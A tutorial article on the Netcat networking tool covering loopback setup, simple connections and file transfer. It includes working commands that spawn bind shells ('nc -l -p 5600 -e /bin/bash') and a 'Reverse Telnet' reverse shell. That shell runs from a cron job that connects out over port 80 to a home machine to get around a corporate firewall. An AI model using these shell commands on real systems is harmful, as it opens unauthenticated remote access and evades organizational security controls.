Netcat and Reverse Telnetby KIVILCIM Hindistan
Today we live a virtually secure world of computing, with fancy firewalls, user access lists, intrusion detection schemes, and so on. But occasionally you may just want to copy a file from one computer to another, without breaching security, ringing bells all over the network, or even meddling with cumbersome access lists. You may want to reach your work computer from home, so that you can finish your work, but the guardian firewall would not let you in.
Or you may just want to write your simple network utility to fetch something from somewhere and do something to it, the famous duct-tape method. You don't want to use C++. You don't want to use Perl. You want nothing but the good old glue and fix method.
For all these seemingly difficult tasks there is a wonderful tool called Netcat.
As you'd expect, the name Netcat comes from one of the basic Unix
cat "concatenates files and prints
on standard output", Netcat basically does the same. Instead of
concatenating files, Netcat concatenates the TCP and UDP sockets, making
it basically a "cat of ports". Just like its ancestors, the fundamental
commands of the Unix environment, Netcat does this one thing and does it
perfectly. You can glue it to other commands to make it do whatever you
This article examines the basic usage of Netcat, including one or two tricks that will make your life easier.
What can I use Netcat for?
As a basic point of view, Netcat is a telnet program. But that's like
calling the Swiss Army Knife just a knife. Netcat was written in 1996 by a
hacker called Hobbit to meet all kinds of telnet needs. Today you can
easily find a version of Netcat for your flavor of Unix or even
Windows. There are also some variants, such as
adds vital encryption features, which we will also use later in this
This article sticks to the vanilla Netcat. The examples are prepared with Unix in mind. You can try them on other platforms, but your computer could blowup, your significant other might leave you, and, even worse, you will run out of coffee at once. Well, maybe just the latter.
Preparing Network Interfaces
To try Netcat, we must first make some preparations. Throughout this article we will discuss a connection between two machines. For this article you don't need to have two machines, two computers, or even two network interfaces.
For TCP/IP communication, the Unix platform uses a virtual loopback
lo) interface with a default IP of 127.0.0.1. Under Linux, you
can use 0 instead of this IP address. We will use this interface to set up two
Note that if we interfere with the 127.0.0.1 interface, we may break
the network connection. Instead, we will use
lo:2 virtual interfaces. The following method will allow you
to assign many IP numbers to the same network interface, such as
eth0:1. As root, enter:
% ifconfig lo:1 10.0.1.1 % ifconfig lo:2 10.0.1.2
ifconfig to examine your interfaces:
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:146 errors:0 dropped:0 overruns:0 frame:0 TX packets:146 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB) lo:1 Link encap:Local Loopback inet addr:10.0.1.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 lo:2 Link encap:Local Loopback inet addr:10.0.1.2 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1
Now that we have two network interfaces, we can continue with our examples as if we were working on two separate computers with different IP addresses.
As I've stated before, Netcat is a telnet client. With the basic usage
you can connect to any port with
port. When you make a connection this way, everything you
type goes to the remote machine (if it's listening to that port) and every
response comes back to you. This goes on until the network connection is
broken. As for the remote computer, I must remind you that Netcat is both
a client and a server.
Now, let's open two consoles. One will be our server, listening to port 5600:
$ nc -l -p 5600
The other will be our client that connects to that port.
$ nc 10.0.1.1 5600
Now everything you do will be repeated at the first console. We have made our first connection. Experiment to your heart's content. Press Enter, Backspace, Ctrl-D, and Ctrl-C and see what happens. Ctrl-C should have cut your connection.
At the first console give the command:
$ nc -l -p 5600 -vv
In the second:
$ nc 10.0.1.1 5600
Did you see anything different?
listening on [any] 5600 ... 10.0.1.1: inverse host lookup failed: Unknown host connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354
This time, Netcat was generous with its information. The extra
-vv command option put Netcat in verbose mode. If you use one
v then you end up with less information. This command is
especially valuable when troubleshooting. At the end, when you pressed
Ctrl-c, Netcat exited, reporting how many bytes were sent and
As in our first example we made connection between two virtual computers without protocol or rights management (as far as the firewalls let us).
One of the most practical usages of this network connection is the file
transfer. As a basic Netcat function, this feature may be used to great
effect in the hands of an experienced user. For a freshly installed
computer, setting up a ftp server or, worse, meddling with
scp protocols may be nauseating. Those
commands may not be available for one, and multiple layers of control
mechanisms may interfere with their functionality. You can still transfer
files with just one
At the server console:
$ nc -v -w 30 -p 5600 l- > filename.back
and on the client side:
$ nc -v -w 2 10.0.1.1 5600 < filename
Magically, the file named
filename is transfered from the
client to the server. You can check that they are identical.
The command line uses the new argument
-w to cause Netcat
to wait for a few seconds. We made that longer in the server side because
it is most affected by a pause. Another important point is the > and
< redirection commands, with which Unix users are very familiar.
In the server we said
> filename.back. Any output will
be directed to this file. As it happens, the output is the file
filename which is send by the client. Think of this as a
pipeline. We take a bucket (file), pour the contents to the pipeline
(Netcat's port), and, at the other end we fill another bucket from the
We can now transfer files, but maybe we want to make something more
useful. For example, we might want to login to a remote machine and do
some work. We want to telnet without the hassle of working through access
control mechanisms. The
-e option comes in handy.
On the first console, enter:
$ nc -l -p 5600 -e /bin/bash
and at the second console:
$ nc 10.0.1.1. 5600
Now it is as if we are connected to the first machine and typing at the shell. We can see every output of our command and do whatever we want with the server machine. We are connected to it as the root user. This is admittedly very scary and a bit unwise.
Security Notice and Cryptcat
Dumping output to a shell is the fastest method of remote control. It opens a port and waits for connection. Whoever connects is welcome, with no security checks. Unlike the following Reverse Telnet this is an active connection; we can call it duck-tape telnet. If you must setup such a thing on an Internet-connected machine use Cryptcat. In fact you can use Cryptcat in every example mentioned here instead of Netcat, because they are almost the same (except that Cryptcat uses encryption and a keyphrase). But all the command notation is the same.
Small notice: I love Open Source! As the author of Cryptcat states:
Linux version -- why I like Linux... only had to change two lines of code to add encryption.
Thus if you want more security (which you should), use
cryptcat with the
-k option. Cryptcat's
encryption scheme has an embedded keyphrase of
can (and should) change this with the option
-k, using your
own keyword. After that, you not only have an easy telnet setup, but you
also will be very secure.
As we have such a generic tool, capable of many things, we can try something nastier (and thus more useful). Consider a nice computer, with broadband network access, behind some firewall (as all useful computers are) in our office. The firewall will not allow any outside connections, only those queried from inside. This computer seems impossible to reach. To begin with, the computer would not have a real IP that we could just type and reach; it is behind a router and firewall, using their IPs instead.
Now what if we want to log into this computer and use it remotely, perhaps grabbing some files we forgot to bring home to work on tonight? We want all this with minimum security breach. Sounds like a challenge.
As we saw before, telnet worked with one machine waiting for a connection and the other connecting to it and giving commands. Telnet will not do the job here; not only are all ports of the corporate firewall blocked, the machine we want to reach does not even have a legal IP. Our technique should do just the reverse.
We have a server whose only allowed outside connection is port 80 for daily use, but it doesn't have an outside IP address. The other computer at home probably has a real IP and whatever ports you want are open at your request. Reversing the roles would solve our problems: make our computer at work connect to the home computer, taking commands from the client and performing them on the server. It's the reverse of usual telnet, so we call it Reverse Telnet.
First, let's name the machines. The one at work is called
WORK and the one at home is called
HOME. If we
do not have a permanent IP at home (a dialup user usually) we should get a
dynamic DNS name. Lots of organizations provide them, most at no charge
such as dyndns.org. We do this because
in order to connect to home computer we must know its IP (or domain name)
At the work computer, we'll set up a cron job to start at 22:01. Just
as in the telnet example it connects to myhome.dyndns.org (our dynamic DNS
address) and starts
And at home just at 22:00 or so we start:
$ nc -vv -l -p 80
to begin listening on port 80 for incoming connections.
WORK connects to
bash and says 'Master!' Bingo. We are connected to
WORK (or vice versa), and
WORK is ready to
operate any command we want.
We can try this at our virtual network (
lo:2). To start the client listening for a connection:
$ nc -vv -l -p 80
To make a connection from the server:
$ nc 10.0.1.1 80 -e /bin/bash
It is very simple and efficient, because we only use outgoing port 80, the most widely used port because it is used for web access. No one would block port 80 because everyone needs web access. They can force you to use a local proxy for that, but you can use another port like 21 or 23 which are harder to put behind a proxy. If you have Internet access you should be able to find at least one open port.
Netcat has lots of other uses with which you can experiment through the loopback interface setup. As long as you know the TCP/IP machine and basics of the protocols, there is virtually no limit to what you can do with Netcat. In the future, I will describe some other daily (arcane ;) uses of Netcat, Cryptcat, and maybe their complicated and powerful cousin SoCat.
KIVILCIM Hindistan works as a full time computer security consultant with a CISSP, using Linux and Free Software as weapons of choice.
Return to ONLamp.com.